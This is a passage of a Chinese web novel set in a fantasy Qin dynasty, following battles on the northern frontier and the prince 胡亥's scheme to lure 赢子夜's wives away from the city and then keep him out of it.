更令人心悸的是,敌军之中混杂着数名气息强横的高手。
他们身法诡异,出手狠辣,专门针对守军的将领和防御节点!
城头之上,战斗已进入白热化!
少司命一袭紫衣,此刻也沾染了尘土与血污。
她面纱之上的眼眸清冷如旧,但微微急促的呼吸显露出她内力消耗巨大。
玉手挥动间,万叶飞花流化作无数锋锐的碧绿光刃,如同拥有生命般环绕飞舞,将数名试图攀上城头的狼族勇士连同他们简陋的云梯一同绞碎!
然而,敌方高手的偷袭防不胜防!
一道暗箭悄无声息地袭来。
她虽及时侧身避开要害,左臂衣袖仍被划破,渗出一丝暗红!
忽然。
一声如火焰裂爆的轻响,从城头另一端传来!
焰灵姬穿着赤色战裙,长发在热浪中翻飞,双眸燃着似能焚烧空气的光!
她纤腰一转,掌中赤焰翻腾!
瞬息之间,化作数条火蛇在空中盘绕,咆哮着扑向那些正攀爬城墙的狼族勇士。
烈焰所过之处,铁甲熔化,皮肉焦黑,惨叫声接连不断!
“放肆的畜生,也配染指大秦疆土?”
她清喝一声,指尖轻弹!
一缕赤焰骤然化作火莲在半空绽放,爆散的热浪直接将一整段云梯震为齑粉!
那股炽烈的气息,甚至让城头上弥漫的血腥味都被焚化殆尽!
几名试图偷袭的敌方内劲高手刚逼近,却被焰灵姬双掌合拢间卷起的焰流反震,连人带兵刃一同吞没。
她立于风中,呼吸平稳,身处火海仍从容优雅。
下一瞬,她身影化作一缕赤光,瞬息掠过十余丈,火焰如风暴般卷起,再次将敌军最密集处化为焦土!
而另一边,雪女白衣胜雪,却已点点猩红。
她笛声呜咽,冰寒内力化作肉眼可见的霜寒气劲。
所过之处,狼族士兵动作变得迟缓,甚至有人直接被冻成冰雕。
但她需要集中精神吹奏,自身防御便弱了几分!
一名身形如鬼魅的敌方高手突入近前,凌厉的掌风逼得她连连后退,笛声险些中断!
端木蓉穿梭在伤员之间,素手银针飞舞,尽力救治着每一个倒下的守军。
她的药囊已然见底,额角沁出细密的汗珠。
看着不断增加的伤亡,眼中充满了焦急与无力。
“顶住!都给老子顶住!”
独臂老将军李敢,须发皆张,如同发怒的雄狮。
仅存的右臂挥舞着一柄沉重的战刀,亲自守在缺口最大的地段!
他浑身浴血,甲胄破损多处!
每一次挥刀都带着决死的气势,将冲上来的敌人劈下城头!
但他的体力已然透支,动作不可避免地慢了下来。
一道狠辣的刀光闪过,在他背上添了一道深可见骨的伤口。
他闷哼一声,踉跄半步,却依旧死死钉在原地,嘶吼道:“大秦的土地,一寸也不能丢!”
“除非从老夫的尸体上踏过去!”
守军的士气在李敢的感染下依旧高昂。
但实力的差距和持续的消耗,让防线岌岌可危!
城墙上倒下的秦军士兵越来越多。
就在这千钧一发之际!
“呜——呜——呜——!”
低沉而苍凉的牛角号声,如同滚雷般从战场的侧后方响起!
紧接着,大地开始震颤!
一支庞大的骑兵队伍,如同黑色的钢铁洪流,出现在地平线上!
以惊人的速度向着狼族攻城的部队侧翼猛冲过来!
“是援军!我们的援军到了!”
城头之上,不知是谁先发出了劫后余生的呐喊!
正在攻城的狼族部队被这突如其来的背后袭击打懵了,阵脚瞬间大乱!
而那支突如其来的骑兵战斗力极其强悍,如同尖刀般狠狠楔入了攻城部队的腰部,将其切割、冲散!
为首一员青年将领,身穿华丽的战甲,面容俊朗却带着一丝阴鸷,正是十八世子胡亥!
他手持一柄长剑,左冲右突,所向披靡。
在胡亥生力军的猛烈冲击下。
攻城的狼族部队终于支撑不住,丢下大量尸体,如同潮水般溃退下去!
危机暂时解除。
胡亥并未下令追击。
他勒住战马,抬手示意部队停止前进,整顿阵型。
自己则带着几名亲卫,快步走向北地郡那缓缓打开,伤痕累累的城门。
一入城。
胡亥脸上那征战时的杀伐之气瞬间收敛。
取而代之的是一种恰到好处的焦急与关切!
他目光迅速扫过一片狼藉的城头,最后定格在那道熟悉的紫色身影上。
他快步上前,来到少司命面前,微微躬身,语气充满了真挚的担忧与歉意!
“六嫂!您没事吧?都怪胡亥来迟一步!让六嫂和诸位受惊了!”
“若是六嫂有丝毫损伤,胡亥万死难辞其咎!”
他称呼的是“六嫂”,姿态放得极低,显得格外尊重。
少司命清冷的眸子看了他一眼,微微摇头,并未多言,只是默默运功调息。
胡亥又转向一旁的焰灵姬、雪女和端木蓉,同样关切地问道:“焰灵姑娘,雪女姑娘,端木姑娘,你们可还安好?”
“城中伤亡如何?需要什么药材,尽管开口,胡亥定当竭力筹措!”
他的目光最后落在浑身是血,依旧拄着刀挺立的李敢身上,脸上露出肃然起敬的神色,上前一步,郑重拱手!
“李老将军!辛苦了!”
“北地郡能守住,全赖老将军与诸位将士用命!”
“胡亥在此,代北疆军民,谢过老将军!”
做完这一切,胡亥才猛地转身,望向狼族溃退的方向。
第433章 赢子夜中伏?!
就在这时!
一名身上带着血迹和尘土,气息急促的暗河成员,踉跄着冲上城头。
无视了在场的胡亥,径直冲到少司命面前,单膝跪地,声音因急切和伤势而嘶哑!
“主母!不好了!”
“主上……主上亲率一万援军驰援北地郡,但在途经落鹰涧时,遭遇大批不明身份的高手和狼族伏兵埋伏!”
“敌军势大,且有备而来,殿下他们被围,情况……万分危急!!”
“什么?!”
少司命那清冷如古井的眼眸瞬间波澜骤起!
一抹极少在她脸上出现的惊惶与担忧清晰可见!
她下意识地握紧了袖中的双手。
一旁的焰灵姬、雪女和端木蓉也是脸色剧变。
殿下亲自来了?
还中了埋伏?
胡亥的反应更是夸张。
他猛地倒吸一口冷气,脸上那刚刚因击退敌军而稍有缓和的从容瞬间消失无踪!
取而代之的是极致的震惊与焦急!
他一步上前,几乎是抢过话头,声音都变了调!
“六哥中了埋伏?!在落鹰涧?!这……这怎么可能!”
他猛地转身,对着身后尚未完全解除战斗状态的麾下将领,几乎是嘶吼着下令!
“快!整军!立刻随本公子出发,驰援六哥!快啊!”
他表现得情真意切,仿佛恨不得立刻插上翅膀飞到落鹰涧!
然而,就在他情绪激动地翻身跃上亲卫牵来的战马,准备一马当先冲出去时。
“噗通!”
众目睽睽之下,刚刚还生龙活虎的胡亥,竟如同断了线的木偶般,身体一软,直挺挺地从马背上摔了下来,重重砸在地上,甚至发出了沉闷的声响!
“公子!”
“十八殿下!”
众人皆惊!
少司命、雪女等人也顾不得心中对胡亥的复杂观感,立刻围了上去。
只见胡亥双目紧闭,脸色苍白如纸。
嘴唇干裂,呼吸微弱。
俨然一副力竭虚脱,昏迷不醒的模样。
“怎么回事?!”
少司命清冷的声音带着一丝不易察觉的疑惑,看向胡亥身旁那名一脸悲痛和担忧的亲卫将领。
那将领噗通一声跪倒在地,带着哭腔,声音悲切地奏禀!
“公子……公子他为了能第一时间驰援北地郡,得知郡城被围的消息后,便率领我等日夜兼程,马不停蹄!”
“途中更是数次遭遇小股叛军骚扰,公子皆亲自冲杀在前!”
“已然……已然两天两夜未曾合眼,水米未进!”
“方才击退攻城敌军,全凭一股意志强撑!”
“如今骤闻六殿下遇险,急火攻心,这才……这才支撑不住了啊!”
他说得声情并茂,涕泪交加,将一个忠心耿耿,劳累过度的形象塑造得淋漓尽致。
少司命秀眉微蹙,看着地上昏迷不醒的胡亥,又看了看那名演技精湛的亲卫,心中疑虑如同藤蔓般滋生。
两天两夜未休?
方才在城头指挥若定,怒斥叛军时,可看不出半分力竭之态。
这昏倒,未免太过及时和巧合。
雪女和端木蓉交换了一个眼神,显然也察觉到了其中的不自然。
然而,此刻形势逼人!
赢子夜在落鹰涧被围,危在旦夕!
每拖延一刻,危险便增加一分!
她们没有时间在这里细细探究胡亥这昏倒的真伪。
少司命深吸一口气,强行压下心中的疑虑与对胡亥的厌恶。
清冷的目光扫过李敢和城头残存的守军,最后落在焰灵姬、雪女和端木蓉身上,决然道:
“李老将军,郡城防务交给你了。”
“焰灵、阿雪,蓉儿,我们走!”
她甚至没有再多看地上的胡亥一眼,紫衣飘动,已如一道惊鸿般掠下城头!
焰灵姬、雪女与端木蓉紧随其后。
带领着城中还能调动的一部分精锐,以及那名前来报信的暗河成员,火速出城,朝着落鹰涧的方向疾驰而去!
城头之上。
很快便只剩下胡亥的亲卫和部分守军。
当少司命等人的身影彻底消失在远方烟尘中后,那原本昏迷不醒,瘫软在地的胡亥,紧闭的眼皮微微颤动了一下。
随即。
在那名亲卫的搀扶下,自己挣扎着缓缓坐起了身。
他脸上那极致的苍白与虚弱如同变戏法般迅速褪去。
取而代之的是一种计谋得逞,冰冷而残酷的笑容。
他拍了拍身上的尘土,目光望向少司命等人离去的方向,嘴角那抹笑容愈发扩大,充满了戏谑与一切尽在掌握的得意。
“我的好六嫂……”
“还有那几个碍事的女人……”
“去吧,都去吧……”
他低声自语,声音如同毒蛇吐信。
……
楼兰、龟兹边境。
赤岩走廊,遗迹入口。
蒙恬大军构筑的防线如同铁桶,将那片散发着古老神秘气息的区域牢牢封锁。
然而,无形的压力却从四面八方涌来。
楼兰、龟兹派遣的高手,以及大月氏的暗桩,如同阴影中的毒蛇!
虽然目标一致,都是突破秦军防御,进入遗迹!
但他们彼此之间也相互忌惮,并未联合。
而是选择了从不同方向,如同毒蜂般轮番袭扰,试探着防线的薄弱处。
楼兰国师手持水晶权杖,口中念念有词,引动流沙,试图从地下侵蚀秦军根基!
沙影、风镰两位尊者则凭借诡异身法,在秦军弩箭的缝隙间穿梭,寻找突破机会!
龟兹的“磐石”如同人形战车,挥舞着沉重的石锤,硬撼秦军的盾阵!!
每一次撞击都让地面震颤!
鬼刃则化身暗夜中的死神,身形飘忽,专门袭杀落单的秦军哨探和低级军官。
大月氏的暗桩头领兀鹫,更是狡猾狠辣。
他带着手下如同真正的饿狼。
不正面强攻,而是利用对地形的熟悉,不断制造小规模的混乱,放冷箭,布陷阱,消耗着秦军的精力!
蒙恬坐镇中军。
那条机关左臂在阳光下反射着冷硬的光泽!
他面色沉静,指挥若定,不断调动兵力弥补漏洞。
暗河安插在军中的部分成员也发挥了巨大作用。
他们擅长隐匿与刺杀。
往往能在关键时刻,用淬毒的弩箭或刁钻的刀法,解决掉试图突入的敌方好手!
战斗,在方圆数里的防线上零星爆发!
却又连绵不绝!!
秦军虽依仗军阵和地利暂时稳住阵脚,但在各方高手的不断袭扰下,防线也开始出现细微的松动。
士兵的疲惫感在不断累积。
空气仿佛凝固,弥漫着血腥与紧张的气息!
所有人都知道,这脆弱的平衡随时可能被打破!
第434章 本公子从未求援!
就在楼兰国师再次引动一片流沙,困住一小队秦军,龟兹“磐石”怒吼着撞向一处略显薄弱的盾阵,兀鹫眼中凶光一闪,准备趁机带人从侧翼撕开缺口的关键时刻!!
“唳——!”
一声清越穿云,带着无边傲气的禽鸟长鸣,如同来自九霄的审判,骤然响彻战场上空!!
所有人都不由自主地抬头望去。
只见一只神骏无比的白色巨鸟,撕裂云层,如同流星坠地般俯冲而下!!
鸟背之上,三道身影傲然而立!
为首者,玄衣如墨,白发飞扬,怀抱鲨齿剑,眼神冰冷淡漠,如同万载寒冰,正是卫庄!
其左侧,赤练媚眼如丝,腕间毒蛇嘶鸣。
右侧,白凤静立,片片洁白的羽毛在他周身环绕飘落。
巨鸟带来的强烈气流席卷战场!
瞬间打破了原有的僵持!
卫庄的目光甚至没有在下方混乱的战场多做停留。
直接锁定了那遗迹入口。
他灰眸中闪过一丝不耐与睥睨,仿佛眼前这些所谓的“高手”和军队,不过是挡路的蝼蚁。
“碍事。”
冰冷的两个字从他唇间吐出,不带丝毫感情!
下一刻,他动了!
没有多余的动作,身形如同鬼魅般从鸟背上一跃而下,鲨齿剑骤然出鞘!
那带着独特锯齿状寒光的剑锋,在空中划出一道凄艳绝伦,仿佛能撕裂空间的弧线!
他的目标,并非某一人,而是那片区域!
楼兰国师、沙影、风镰所在的方位。
“不好!”
那楼兰国师脸色剧变。
水晶权杖爆发出刺目光芒,凝聚起一面沙盾。
沙影和风镰也感受到那致命的威胁,将身法催动到极致,试图闪避!
然而,太晚了。
鲨齿剑的剑光如同死亡风暴,瞬间席卷而过!
“咔嚓!”
沙盾如同纸糊般破碎。
“噗嗤!”
血光迸现。
楼兰国师手中的权杖断成两截。
整个人被拦腰斩断。
眼中还残留着无尽的惊恐与难以置信。
沙影和风镰的身影在剑光中僵住。
随即,如同被无形的利刃切割,化作数段残尸,混合着内脏从半空中洒落!
一剑之威,恐怖如斯!
三位楼兰顶尖高手,瞬间毙命!!
几乎在卫庄出手的同时!
白凤的身影如同瞬移般出现在龟兹“磐石”的头顶。
一片轻飘飘的羽毛落下,磐石怒吼着挥拳砸去,但那羽毛却如同拥有生命般,轻盈地绕过他的拳头,精准地贴在了他的眉心!
磐石庞大的身躯猛地一僵,那足以开山裂石的力量瞬间消散!
他难以置信地摸了摸额头。
那里没有任何伤口。
但他的眼神却迅速黯淡下去,如同山岳崩塌般,轰然倒地,气息全无!
另一侧,赤练娇笑着,红影闪动,已然缠上了如同鬼魅般的“鬼刃”。
鬼刃的刀法狠辣刁钻。
但在赤练那无处不在的毒雾和神出鬼没的蛇吻面前,却显得束手束脚。
不过几个回合。
一缕粉红色的毒雾悄无声息地钻入他的口鼻。
鬼刃的动作瞬间变得迟滞,眼神涣散,随即被赤练袖中滑出的短剑轻易地割开了喉咙。
而大月氏的兀鹫,甚至还没来得及做出反应,一道快得超越视觉的白色身影已然从他身边掠过!
兀鹫只觉喉间一凉,想要呼喊,却只能发出“嗬嗬”的漏气声!
鲜血如同喷泉般涌出!!
他捂着脖子,不甘地倒了下去。
眼中最后的景象,是那道白色身影毫不停留地冲向遗迹入口。
兔起鹘落。
不过短短几个呼吸的时间!
刚才还在给秦军防线造成巨大压力的三方势力顶尖高手,竟被这突然出现的三人,以摧枯拉朽之势,如同砍瓜切菜般尽数斩杀!!
干净利落,没有丝毫拖泥带水!
整个战场,陷入了一片死寂!
无论是秦军士兵,还是残存的楼兰、龟兹、大月氏人马,都被这突如其来的变故和绝对的实力碾压惊呆了。
卫庄收剑回鞘。
甚至没有看一眼脚下的尸体和周围惊骇的目光,仿佛只是随手清理了几只苍蝇。
他灰眸淡漠,径直朝着那氤氲光雾笼罩的遗迹入口走去。
赤练和白凤无声地跟上。
蒙恬站在中军位置,看着卫庄三人的背影,那条机关左臂微微握紧,眼神无比凝重。
他自然早就认出来人是逆流沙,是友非敌。
但对方展现出的强大与冷酷,依旧让他感到心惊!
卫庄三人没有丝毫停顿,在无数道目光的注视下,如同回自己家一般,步伐沉稳地踏入了那散发着古老与神秘气息的遗迹入口。
身影,迅速被光雾吞没。
直到三人的身影彻底消失。
战场上的死寂才被打破,响起一片倒吸冷气的声音!
逆流沙的介入!
霸道而直接!!!
……
是时!
落鹰涧通往北地郡的官道上。
赢子夜率领的一万精锐正在急速行军!
连日的赶路,人困马乏。
但军令如山,无人敢懈怠。
赢子夜骑在马上,眉头微锁,心中盘算着北地郡的局势以及胡亥可能玩出的花样。
突然,前方斥候飞马来报!
“殿下!前方发现不明军队,正向我们疾驰而来,人数不少,速度极快!”
赢子夜眼神一凛,瞬间抬手!
“全军戒备!准备迎敌!”
他心中猛地一沉,难道胡亥如此迫不及待,竟敢在半路设伏拦截?!
还是北地郡已破,这是溃败下来的敌军?
一万秦军瞬间由行军阵型转为战斗队形,**上弦,刀剑出鞘,杀气腾腾地指向来路,严阵以待。
烟尘滚滚,那支军队越来越近!
当先头的旗帜和身影逐渐清晰时,赢子夜紧绷的心弦非但没有放松,反而骤然提得更高。
那旗帜……
分明是北地郡守军的旗帜!
而为首那几道熟悉的身影——
紫衣飘然,面纱清冷。
是少司命!!
红影翻飞,一抹炽烈的
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火色在尘烟之中掠出,犹如燃烧的霞光,是焰灵姬!
以及白衣点血,气质清冽的雪女。
还有神色焦急的端木蓉。
她们怎么会在这里?
还带着北地郡的兵马急匆匆赶来?
难道……城池已经失守了?!
一个不祥的预感瞬间攫住了赢子夜的心脏!
与此同时,疾驰而来的少司命等人也远远看到了前方严阵以待的秦军主力,以及军前那道熟悉的玄色身影。
她们先是一愣,随即脸上也露出了极大的意外和困惑。
“夫君?”
少司命清冷的声音带着一丝难以置信的波动。
“殿下?您……您没事?”
焰灵姬也失声惊呼。
雪女和端木蓉更是瞪大了眼睛。
“不是说殿下在落鹰涧被围,情况危急吗?”
双方迅速靠近,赢子夜挥手示意军队解除戒备。
他策马迎上前,目光第一时间扫过少司命,确认她虽显疲惫但并无大碍,心中稍安,但疑惑更甚。
“夫人,你们怎么会在此处?北地郡情况如何?”
赢子夜的声音带着急切。
“为何带兵出城?”
少司命快速将城中情况说了一遍。
重点描述了那个前来报信,声称赢子夜在落鹰涧被围的“暗河成员”,以及胡亥力竭昏迷,她们不得已才带兵前来救援的经过。
随着少司命的叙述,赢子夜的脸色以肉眼可见的速度阴沉下来,如同暴风雨前的天空。
他周身的气息瞬间变得冰冷刺骨!!
“暗河成员?报信?”
赢子夜的声音仿佛带着冰碴。
“我从未派出过任何暗河前往北地郡求援!更不曾在那落鹰涧遇伏!”
此言一出!
少司命、焰灵姬、雪女、端木蓉四人脸色瞬间煞白。
她们都不是愚笨之人,瞬间明白了过来。
那个报信人,是假的!
她们中了调虎离山之计!!
一股寒意从尾椎骨直冲头顶!
胡亥!
这一切,定然是胡亥自导自演的一出好戏!
假传消息,佯装昏迷,骗她们离开北地郡!
他的目标是什么?
是彻底掌控北地郡的兵权?
还是……
有更险恶的用心?
赢子夜眼中寒光爆射,之前所有的疑虑和猜测在此刻串联成线,指向那个看似忠心救驾,劳累过度的十八弟。
他竟敢将手伸向暗河。
假冒他的人传递假消息!
还将夫人她们也牵扯进来,利用她们的关切之心!
“好!好一个胡亥!”
赢子夜几乎是从牙缝里挤出这几个字,声音中蕴含着滔天的怒意与冰冷的杀机。
他不再有丝毫犹豫,猛地调转马头,对着身后大军厉声下令。
“传令!全**向,目标——北地郡城!全速前进!”
他看向少司命等人,语气不容置疑。
“夫人,你们随我一同回去!”
“我倒要看看,我这好十八弟,在我面前,还能玩出什么花样!”
马蹄雷动,尘埃再起!!
第435章 拒不开门!
匈奴王帐。
此刻弥漫的不再是往日的牲口气息与烈酒醇香,而是浓得化不开的血腥味、草药味。
以及一种名为绝望的压抑!
王帐帘幕被猛地掀开!
一名浑身浴血,甲胄破碎不堪的万夫长踉跄着冲了进来!
他甚至来不及行礼,便噗通一声跪倒在地!
脸上混杂着泥土、血污和极致的恐惧,声音嘶哑得如同破锣。
“伟大的单于!”
“败了……我们又败了!”
“黑风谷…失守了!哲别万夫长和他麾下五千儿郎……全军……全军覆没啊!!!”
头曼单于猛地从铺着狼皮的座椅上站起!
他雄壮的身躯此刻也显得有些佝偻,深陷的眼眸中布满了血丝!
他死死盯着那名狼狈不堪的将领,声音低沉而危险。
“说清楚!怎么回事?”
“哲别本能以一敌百,五千骑兵更是精锐,怎么会全军覆没?!”
那万夫长抬起头,眼中残留着仿佛见到地狱般的惊骇,颤声道。
“是……是那些怪物!”
“乌孙陀罗不知道用了什么邪法,除了那些圣士,他派出的军队里,还混进了一批打不死的悍卒!”
他声音带着哭腔,描述着那恐怖的场景。
“他们穿着大月氏的皮甲,由那些圣士统御,眼神空洞,不怕刀剑,不怕箭矢!”
“我们的弯刀砍在他们身上,就像砍在枯木上,只能留下浅浅的白痕!”
“他们力大无穷,徒手就能撕碎战马!”
“更可怕的是……他们和那些圣士一样,能吸走人的精气!”
“好多弟兄,不是被**的,是冲上去之后,莫名其妙就变得干瘦,然后……然后就倒下去再也起不来了!”
“哲别万夫长亲自带队冲锋,想斩了那些怪物的头领,结果……结果刚靠近,就被三四个那种怪物围住!”
“他……他那么雄壮的一个人,几个呼吸间就…就变成了一具干尸!”
“单于!那不是人!是魔鬼!”
“是乌孙陀罗从地狱里召来的魔鬼啊!”
这名万夫长显然是吓破了胆,语无伦次!
但话语中透露出的信息,却让整个王帐内的匈奴贵族和将领们面色惨白,脊背发凉。
“血池…他果然造出了那种邪兵……”
头曼低声喃喃。
粗犷的脸上肌肉抽搐!
那双曾经睥睨草原的鹰眸中,第一次露出了难以掩饰的疲惫与一丝惊惧。
他原以为,乌孙陀罗化身鬼王已是极限。
最多还有那些难缠的圣士,只要拖住,也不是不能打。
没想到……
他竟能批量制造出这种不惧生死,还能吞噬生命的怪物军队。
接连的败绩,爱将的惨死,未知怪物的恐怖……
如同沉重的枷锁,套在了这位草原枭雄的脖子上!!
他猛地一拳砸在面前的矮几上,坚硬的木几应声碎裂!
“想我头曼,纵横草原数十载,统一诸部,兵锋所指,莫敢不从!”
“就连强大的东胡,也被本王打得四分五裂!”
“本以为携雷霆之势南下,西域、大秦,皆可图之!”
“没想到……没想到今日竟会折损在乌孙陀罗这个不人不鬼的怪物手里!”
“被困在这西域绝地,前有虎狼,后有追兵!”
“本王……不甘心!!”
他发出低沉的咆哮,充满了英雄末路的悲凉与愤怒!!
帐内一片死寂。
所有人都能感受到单于那滔天的不甘与无奈。
退守?
还能退到哪里?
东面,蒙犽的秦军如同铁壁,牢牢锁**通往草原的归路!
而且胡亥那个疯子,更是直接端了他的老巢王庭!
他现在就是一头被围猎的孤狼。
难道……真的要走那最后一步了吗?
头曼深吸一口气!
强行压下心中的暴怒与不甘,眼神变得如同最冷静的猎手,扫过帐内惶恐的众人,声音沙哑却带着决断。
“诸位,想必你们也清楚我们如今的处境。”
“前有乌孙陀罗的邪兵,后有秦军的铁壁,北疆故土已失……”
“我们,已无退路。”
他话锋一转,眼中闪过一丝狠厉与算计。
“但本王既然敢倾巢南下,自然也不会将所有的希望,都寄托在一条路上!”
他走到简陋的西域地图前。
手指猛地划向北方,点在那片标志着连绵不绝,高耸入云山脉的区域!
“西域北方!有片被‘天神山脉’隔绝的土地!”
“而山脉的另一端,就是富饶而强大的安息帝国!”
头曼的声音带着一种破釜沉舟的意味。
“本王早年经商队,就与安息帝国的一些权贵有过接触,知晓其国力强盛,幅员辽阔,绝不逊于暴秦!”
他环视众人,说出了那个最**的选择!
“天神山脉虽是天堑,但也并非完全没有隐秘小路可通!”
“这是我们目前唯一的生路!”
“只要我们能突破乌孙陀罗和西域联军的封锁,进入北疆,翻越山脉,就能抵达安息帝国!!”
帐内响起一片压抑的惊呼和议论!!
投奔安息帝国?
那意味着他们这些骄傲的草原雄鹰,将不得不低下头颅,寄人篱下,成为他人的附庸。
头曼的脸上也闪过一丝极其难堪的愠怒。
但他很快将其压下,声音带着一种不容置疑的冷酷!
“依附他人,确是我匈奴儿郎的耻辱!”
“但,活下去,才有将来!”
“若全军覆没于此,那就什么都没有了!!”
“只要保住这支力量,在安息帝国站稳脚跟,未必没有卷土重来的一天!”
他猛地一拍地图,厉声道。
“传令下去,放弃所有不必要的辎重,集结所有还能战斗的儿郎!”
“我们的目标——向北!”
“**,进入北疆,寻找通往安息帝国的道路!”
“谁敢动摇军心,延误军机,立斩不赦!”
这道命令,充满了无奈与**,但也透着头曼作为枭雄的果决与狠辣!
一切……
为了生存。
……
是时。
北地郡城下。
风沙似乎都带着一丝凝滞的肃杀。
赢子夜率领大军兵临城下,玄色王旗在风中猎猎作响。
他端坐于马背之上,目光平静地望向城头。
少司命、焰灵姬、雪女、端木蓉等人紧随其后,眼神皆带着冷意。
城头之上,胡亥的身影很快出现。
他一身戎装,脸上带着恰到好处的惊喜与激动,仿佛真的为见到赢子夜安然无恙而由衷高兴!
他扶着垛口,声音清晰地传了下来!
“六哥!您没事?!真是太好了!”
“臣
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弟听闻您在落鹰涧遇险,心急如焚,只恨自己力有不逮,未能及时相救!”
“如今见到六哥安然无恙,臣弟这颗心总算可以放下了!”
他言辞恳切,情真意切!
若非早知内情,几乎要被他这番表演骗过去。
然而,他话语虽热络,那厚重的城门却丝毫没有要打开的意思。
赢子夜眼神微眯,目光扫过城头,并未发现老将军李敢的身影。
他淡淡开口,声音清晰地传入城上每一个人耳中。
“有劳十八弟挂心。”
“为兄自然无事,不过是些宵小之辈,用了些见不得光的手段,假传消息,行那调虎离山之计罢了。”
胡亥闻言,脸上立刻露出恍然大悟和愤慨之色,捶了一下城墙,怒道:
“原来如此!竟是调虎离山!”
“臣弟先前就曾多次奏报,草原部族狡诈,多有乔装打扮,混入我军中细作!”
“今日看来,还是被他们钻了空子,险些酿成大祸!真是可恨!”
他将自己摘得干干净净,把一切推给了草原细作。
赢子夜心中冷笑,不再与他虚与委蛇,直接问道。
“十八弟,为兄千里驰援,如今已至城下,你这是打算让为兄,还有这万余将士,就在这城外与你叙话吗?!”
他语气平淡,却带着一股无形的压力。
“还是说,十八弟觉得,为兄…也是他人乔装的不成?”
这话已是相当不客气,直指胡亥拒不开门的无理之举!
胡亥脸上那真诚的笑容僵硬了一瞬,随即露出一副无奈与担忧的神情,解释道。
“六哥言重了!臣弟岂敢怀疑六哥?”
“只是……只是如今北地郡初定,局势未明,城外又有狼族余孽流窜。”
“臣弟是担心……担心六哥您带来的大军之中,万一混有敌人的斥候细作,若贸然开城,恐对郡城安危不利啊!”
“为了这一城百姓和将士的安危,臣弟不得不谨慎行事,还望六哥体谅!”
他话锋一转,仿佛做出了巨大的让步,语气诚恳地说道。
“当然,若是六哥执意要入城,臣弟自然不敢阻拦!”
“只是……为了万全起见,可否请六哥……独自一人入城?”
“待确认安全无虞,再迎大军入内不迟!”
“此举虽有些失礼,但也是为了大局着想,无奈之举,还望六哥海涵!”
只许赢子夜一人入城?!
此言一出,赢子夜身后众将顿时哗然!
少司命清冷的眼眸中瞬间寒意大盛!
焰灵姬、雪女柳眉倒竖,端木蓉也面露怒色。
这分明是赤裸裸的刁难和胁迫!
将一军主帅单独放入城中,与羊入虎口何异?
“胡亥!你放肆!”
焰灵姬忍不住厉声呵斥!
少司命玉手微抬,周身已有紫气隐现,显然已是动了真怒!
就在少司命等人几乎要发作之际,赢子夜却突然伸出手,轻轻按住了少司命抬起的手臂。
力道不大,却带着一种安抚之意。
他抬起头,脸上非但没有怒意,反而露出了一抹似笑非笑的神情。
看着城头上那一脸无奈和为难的胡亥,声音平和,甚至带着一丝赞许。
“难得十八弟如此忧心国事,谨小慎微,事事以城池安危为重。”
“既然十八弟有此顾虑,那为兄……亦不强求了。”
第436章 将计就计!
此话一出,不仅是少司命等人愣住了!
连城头上的胡亥也明显怔了一下,似乎没料到赢子夜会如此轻易退让。
赢子夜不再多看胡亥一眼,调转马头,对着身后大军沉声道:“传令!全军后撤十里,择地安营扎寨!”
命令下达。
训练有素的秦军虽然不解,但依旧严格执行,开始缓缓后撤!
少司命策马靠近赢子夜,清冷的声音带着一丝不解与急切。
“夫君,为何……”
赢子夜微微摆手,阻止她说下去。
他目光扫过北地郡那高大的城墙,尤其是在城垛后方那些若隐若现,引弓待发的弓箭手身上停留了一瞬。
声音低沉,却清晰地传入身边几女耳中。
“城池之上,**皆已备好,箭在弦上。”
“若我们方才强行要求入城,或者稍有异动,立刻便是万箭齐发之势!!”
他顿了顿,语气带着一丝冷意。
“我们或许无惧,但身后这些将士,皆是我大秦忠勇,岂能让他们因内斗而白白流血牺牲?”
众女闻言,也冷静下来,看向城头的目光更加冰冷。
“难道就这么算了?任由他占据北地郡?”
焰灵姬蹙眉道。
“放弃?”
赢子夜嘴角勾起一抹冰冷的弧度。
“自然不会。”
“他胡亥既然想玩,那本公子就陪他玩玩。”
“他以为紧闭城门,拥兵自重,我便拿他没办法了吗?”
他目光深邃,望向远方。
“他如此行事,必有图谋!”
“我们且先稳住阵脚,在十里外扎营,静观其变。”
“我倒要看看,他这出戏,接下来打算怎么唱!”
……
夜色笼罩着北地郡外十里处的秦军大营。
篝火在夜风中摇曳,映照着巡逻士兵警惕的身影。
赢子夜的中军大帐内,烛火通明。
他刚刚通过暗河的通讯符箓,接收到了来自卫庄的消息。
符箓中传来的信息言简意赅。
遗迹已探,核心之物乃一奇异碎片,灵气充盈却无法引动分毫,疑似残缺!
另得古兵器若干,宝药数种!
赢子夜指尖摩挲着通讯符箓,眼中闪过一丝思索。
碎片?
无法使用?
这倒是出乎他的预料。
他原本以为遗迹中会是某种完整传承或可直接使用的强大力量。
“传令卫庄,碎片务必妥善保管,即刻护送前来。”
“其余所得兵器、宝药,可由逆流沙自行处置,或酌情赏赐有功将士!”
赢子夜通过符箓下达了指令。
对于无法立即使用的碎片,他更感兴趣。
而对于能增强即时战力的兵器和宝药,他乐得大方,用以笼络逆流沙和麾下人心。
恰在此时。
帐外亲兵来报!
“殿下,十八公子胡亥在外求见。”
赢子夜眉梢微挑,这么晚了,胡亥来做什么?
他收起符箓,淡淡道。
“让他进来。”
帐帘掀开,胡亥独自一人走了进来。
他换下了一身戎装,穿着简单的锦袍,脸上带着恰到好处的愧疚与恭敬。
一进帐便对着赢子夜深深一揖。
“六哥!臣弟特来请罪!”
“白日里城下之事,是臣弟思虑不周,过于谨慎,以致让六哥与诸位将士受委屈了,还请六哥重重责罚!”
他态度诚恳,仿佛真的心怀不安!
赢子夜坐在主位,神色平静,抬手虚扶了一下。
“十八弟言重了,谨慎些总是好的。”
“你深夜前来,应该不止是为了请罪吧?”
胡亥直起身,脸上露出一丝“果然瞒不过六哥”的佩服神色。
他正色道:“六哥明鉴!”
“臣弟前来,确有一件要事禀报,并有一个不情之请。”
他上前一步,压低声音,带着几分郑重说道。
“自狼族反叛,险些酿成大祸之后,臣弟心中愤恨难平,一直派有精锐斥候,暗中追踪他们的溃逃路线,搜寻其可能的藏身巢穴。”
“就在半个时辰前,终于有确切消息传回!”
他眼中闪过一丝兴奋与杀意!
“那些狼族余孽,如今就藏身在西北方向百里之外的黑风峪!”
“那里地势险要,易守难攻,难怪他们能躲过之前的清剿。”
“如今他们刚刚经历败仗,士气低落,又自以为藏得隐秘,定然疏于防范!”
“此时,正是我们调集精锐,将其一网打尽,永绝后患的天赐良机!”
说到这里,胡亥再次对着赢子夜深深一揖。
语气变得极为恳切,甚至带着一丝悲悯。
“六哥!黑风峪险峻,狼族凶残,此战必然凶险。”
